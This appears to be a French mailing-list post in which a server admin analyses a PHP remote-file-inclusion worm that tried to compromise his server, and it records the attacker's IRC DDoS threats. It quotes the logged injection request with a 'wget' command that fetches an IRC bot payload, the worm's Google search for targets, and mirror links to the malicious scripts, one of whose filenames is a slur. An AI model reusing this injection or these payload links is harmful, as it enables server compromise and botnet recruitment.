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Bonjour,



Description de l'environnement, d'abord:

J'ai un serveur perso, hébergé sur mon ADSL et derrière un

routeur/firewall.

Comme je suis parano, en particulier de me faire zombifier, le serveur

est firewallé en local en OUTPUT (!y), et re-firewallé pareil par le

routeur/fw (des fois que).

Le serveur héberge 5/6 sites dont certains dynamiques, la plupart en

php3/php4. Il est à jour.



J'ai remarqué dans mon syslog des lignes d'ipchains qui

refusaient la connexion à des serveurs www extérieurs (hourra pour ma

paranoïa;-)).



Comme je n'arrivais jamais à comprendre pourquoi, j'ai mis en place

un script php que j'ai spécifié en auto-prepend dans la conf de php.

Dans ce script il y a un test pour voir si QUERY_URI contient 'wget' 

(ou l'équivalent encodé en hexa), et dans ce cas, maile root et

tue le script. C'est loin d'être blindé comme test, mais c'était

histoire de voir, étant donné que les lignes de REJECT dans kern.log, je

les ai vues assez tard pour ne rien réussir à retrouver dans les logs

apache (et puis je voulais le voir rapidement la prochaine fois).



Quelques jours plus tard, www-data me maile:



> ...index.php?page=http://members.lycos.co.uk/shitbag/readme.txt?&(...)

> cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/shitbag/nigger.txt(...)

>

> with Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

 

Il s'agit d'une variante du ver Worm.Sandy, je pense. Il essaye

d'inclure readme.txt qui contient du code php destiné à exécuter $cmd

(qui télécharge le payload) puis exécuter le payload téléchargé.

nigger.txt contient un gros script qui en gros, te transforme en zombie

qui attend des ordres sur IRC. 



Ça ne marche pas sur mon serveur, et ça ne marchera probablement 

jamais parce que: 

a) nos scripts sont pas trop bancaux (le script visé, index.php,

fait un include($page. ".php"), et la concaténation fait qu'il

aurait dû ajouter une page qui finit par .php sur le site compromis et

faire en sorte d'include()r celle-là). Dans l'absolu il devrait faire un

include("./".$page.".php"), mais bon. C'est pas mon script ;-)

b) toute connexion externe est bloquée (à part pour le mail et le DNS)



Le point intéressant de ce ver c'est que d'après ce que j'ai lu, ce

 ver chope ses cibles en cherchant"allinurl:page= php " ou un truc du

genre. Google bloque les requêtes qui y ressemblent, maintenant:



http://www.google.com/search?q=allinurl:%22page%3D%22+.php&hl=e(...)



En pièce jointe les deux fichiers qui constituent l'exploit, si ça vous

dit de les analyser...



Il y a à peu près 80 zombies sur le canal irc référencé dans le

script, je n'ai pas dû m'y connecter comme il faut parce que je m'en

suis fait jeter :-/



Ah, juste avant d'envoyer ce mail, je vois que le gentil admin m'a parlé

:)



(weed__ c'est moi qui essaye de faire le zombie)



09:52 <larico_> im gonna ddos your website to hell, lolool

09:52 <weed__> useless

09:53 <weed__> You'll get other zombies

09:53 <larico_> so?

09:53 <larico_> i dont mind

09:53 <weed__> no need to be childish

09:53 <larico_> i really dont care

09:54 <weed__> np

09:54 <weed__> have a nice day

09:55 <larico_> ya u to

09:55 <larico_> starting in one sec

09:55 <weed__> you know, it's a DSL line

09:55 <larico_> so?

09:55 <weed__> It won't be very hard to saturate it

09:55 <larico_> hold

09:56 <weed__> ok, brb

[ à ce stade je suis parti boire mon café ]

09:56 <larico_> k



Il est vrai que ça ne répond plus beaucoup chez moi.



pour ceux que ça intéresse, scripts mirrorés sur 

http://members.lycos.co.uk.nyud.net:8090/shitbag/readme.txt(...)

http://members.lycos.co.uk.nyud.net:8090/shitbag/nigger.txt(...)
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